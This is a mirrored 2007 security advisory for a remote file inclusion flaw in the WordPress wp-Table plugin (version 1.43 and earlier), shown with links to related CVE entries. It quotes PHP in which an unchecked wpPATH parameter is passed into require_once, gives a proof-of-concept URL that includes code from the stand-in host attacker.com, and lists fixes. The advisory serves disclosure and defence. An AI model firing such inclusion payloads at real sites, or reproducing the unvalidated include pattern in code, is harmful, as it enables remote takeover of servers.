Lucene search
+L

WordPress Plugin wp-Table 1.43 - 'inc_dir' Remote File Inclusion

🗓️ 01 May 2007 00:00:00Reported by K-159Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

WordPress Plugin wp-Table 1.43 Remote File Inclusion Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-2483
3 May 200717:00
cve
cve
CVE
CVE-2007-2484
3 May 200717:00
cve
cvelist
Cvelist
CVE-2007-2483
3 May 200717:00
cvelist
cvelist
Cvelist
CVE-2007-2484
3 May 200717:00
cvelist
euvd
EUVD
EUVD-2007-2477
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-2483
3 May 200717:19
nvd
nvd
NVD
CVE-2007-2484
3 May 200717:19
nvd
patchstack
Patchstack
WordPress WP Table Plugin <= 1.43 - Remote File Inclusion
3 May 200700:00
patchstack
patchstack
Patchstack
WordPress WP Table Plugin <= 1.43 - Directory Traversal
3 May 200700:00
patchstack
prion
Prion
Directory traversal
3 May 200717:19
prion
Rows per page
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/

                                        .OR.ID
ECHO_ADV_82$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_82$2007] wordpress plugins wp-Table <= 1.43 (inc_dir) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 1 st 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv82-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : wp-Table
version       : <= 1.43
Vendor        : http://alexrabe.boelinger.com/?page_id=3
Description :

This plugin is a simple table manager for wordpress.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at js/wptable-button.php :

----------------js/wptable-button.phpp-------------------
...
if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');

global $wpdb;
...
----------------------------------------------------------------


Input passed to the "wpPATH" parameter in js/wptable-button.php is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.




Poc/Exploit:
~~~~~~~~~

http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil?


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version

---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-05-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation